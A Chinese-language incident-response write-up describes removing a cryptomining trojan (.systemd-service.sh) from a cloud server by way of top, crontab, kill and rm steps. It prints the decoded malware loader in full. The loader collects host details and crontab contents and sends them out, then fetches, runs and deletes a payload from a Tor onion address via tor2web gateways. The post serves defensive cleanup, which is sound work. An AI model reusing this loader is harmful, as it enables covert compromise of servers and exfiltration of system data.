实战矿马:数据异常牵出的挖矿木马(.systemd-service.sh)

案例背景

1.CVM主机安全控制台无数据显示。

2.服务器CPU突增至100%上下浮动,影响服务正常运行。


问题说明

1.单是CVM主机安全控制台无数据显示,大概率是主机安全服务进程YDService被强制停止。

2.服务器CPU突增至100%,大概率是挖矿进程占用CPU进程。


原因分析

1. 首先查看主机安全控制台,发现主机安全内无任何数据回传和图表信息,处于异常状态。

2. 查看机器的监控,出现CPU占用100%,时间大概在今日下午14时45分左右。为了快速为CPU降压,本次清理不做深入溯源,而是快速清理服务器挖矿病毒。


解决步骤:

第一步:使用top命令查看当前进程占用情况(目的:快速定位高占CPU的进程)

top

定位出占用较高的恶意进程,这三个服务的PID分别为8635,10610,14438

8635 1  0.0 0.0 0:00.00 Process root 75L6izvh 
10610 1 0.0 0.0 0:00.15 Process root q5wyiYQk
14438 1 0.0 0.0 0:00.00 Process root 0RKJGzjg

第二步:先停止对应恶意PID进程,为服务器CPU降压(注:这里不推荐直接删除进程,因为挖矿往往存在定时任务,删除后还会自动生成,但停止恶意进程会使其陷入一个执行的空窗期,为我们的清理排查赢得时间)

kill STOP 8635 10610 14438 

第三步:查看定时任务(目的:挖矿进程常有写入定时任务的习惯,所以从定时任务中去定位挖矿文件往往效率较高)

crontab -l 
我们可以发现,有4个任务写入了定时进程里

经过核查,上图下面的两个任务是服务器的业务正常启动业务,属于合法进程。那么,这两个任务就值得我们关注:

33 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &
52 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null

先对.acme.sh审计

cd /root/.acme.sh
.acme.sh文件目录

通过该文件的进程源码分析,我们找到了一个URL地址:

同时结合恶意文件检索引擎分析,可以判定.acme.sh是一个合法的CA配置组件,大家可以百度,因此,可以判断.acme.sh是一个正常文件

重点!!!!!!!!!!!!!!

三个核心自动生成挖矿任务的文件位置:

/etc/cron.d/0systemd                // 第一挖矿进程
/root/.systemd-service.sh           // 挖矿子进程1
/opt/systemd-service.sh           // 挖矿子进程2

查看第一个核心挖矿进程内容:

vim /etc/cron.d/0systemd 
不断生成/opt/systemd-service.sh 文件

我们的关注点就全面转向最后一个进程/root/.systemd-service.sh

查看一下文件内容

vim /root/.systemd-service.sh
我们看到,该文件使用了base64加密

其实这里还有一个隐藏的文件进程,也必须杀掉和删除才能清理干净:路径/opt/systemd-service.sh

为了保险,两个文件名再模糊查询检索一下:

find / -iname systemd-service.sh
find / -iname .systemd-service.sh
/opt/systemd-service.sh和/root/.systemd-service.sh这两个路径就是核心进程路径,还有/etc/cron.d/0systemd是最终进程路径

/root/.systemd-service.sh使用base64解码后的结果:

#!/bin/bash
exec &>/dev/null
echo sMA4p3iYpUgY2CJZoyKJ5M66ce+K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
echo
sMA4p3iYpUgY2CJZoyKJ5M66ce+K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd")
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%13))]}/$p | grep -oE "\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b" |tr ' ' '\\n'|sort -uR|head -1)
}
fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it tor2web.io tor2web.su onion.com.de tor2web.to onion.sh
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then
u $t.$h
else
break
fi
done |base64 -d|bash 

我们可以看出,这是一个不断监控和写入的挖矿进程,那么挖矿源文件的定位就是/root/.systemd-service.sh进程

第四步:删除该恶意进程定时任务,再删除恶意进程文件

rm -rf /etc/cron.d/0systemd 
rm -rf /root/.systemd-service.sh
rm -rf /opt/systemd-service.sh

第五步,kill 掉对应的进程PID,这里就可以删除进程了,因为挖矿源文件已经被删除

Kill -9 8635 10610 14438 

删除后我们已经找不到对应的恶意PID 8635 10610 14438

继续观察是否有新的异常进程和端口启动

第六步:重启主机安全服务,因为本次问题是由于主机安全无数据引发的,同时要恢复一下服务

service YDService restart
主机安全服务重启成功

第七步:验证

(1)验证CPU情况,已恢复正常,同时查看控制台主机安全数据,均已回显。

CPU负荷直线下降,恢复正常

CPU负荷直线下降,恢复正常

(2)查看自启动日志,看看是否还有新增任务,观察两个小时,无新增说明已经清理干净

grep "systemd-service.sh" /var/log/cron
观察一个小时没有新文件生成,已经清理完毕。但推荐至少观察两个小时

总结一下

一、整个挖矿清理的过程逻辑,简述就是“先暂停——再清理——再恢复”,因为挖矿攻击行为的特性,停止挖矿进程会使挖矿进程陷入一个短暂“休眠期”,为我们赢得时间定位进程位置,清理核心进程。

二、挖矿进程文件位置

三个核心自动生成挖矿任务的文件位置:(注:定位核心进程位置时要留心,结合配置文件,自动任务,自动任务日志等信息综合判断,边清理边观察,边观察边清理)

/etc/cron.d/0systemd                // 第一挖矿进程
/root/.systemd-service.sh           // 挖矿子进程1
/root/.systemd-service.sh           // 挖矿子进程2

二、挖矿的入侵源头经分析,主要由于安全组ssh远程端口未合理配置导致,直接开放于公网。像这类情况挖矿木马会通过批量扫描ssh端口爆破植入,使服务器沦为矿机。后期通过一些CASE,我会逐步在案例中分析挖矿木马一些有趣的骚操作。安全,防患于未然:因此要加强安全组策略限制,并养成定期修改服务器远程登录口令等安全习惯,才能防患于未然。

本站文章资源均来源自网络,除非特别声明,否则均不代表站方观点,并仅供查阅,不作为任何参考依据!
如有侵权请及时跟我们联系,本站将及时删除!
如遇版权问题,请查看 本站版权声明
THE END
分享
二维码
海报
实战矿马:数据异常牵出的挖矿木马(.systemd-service.sh)
1.单是CVM主机安全控制台无数据显示,大概率是主机安全服务进程YDService被强制停止。
<<上一篇
下一篇>>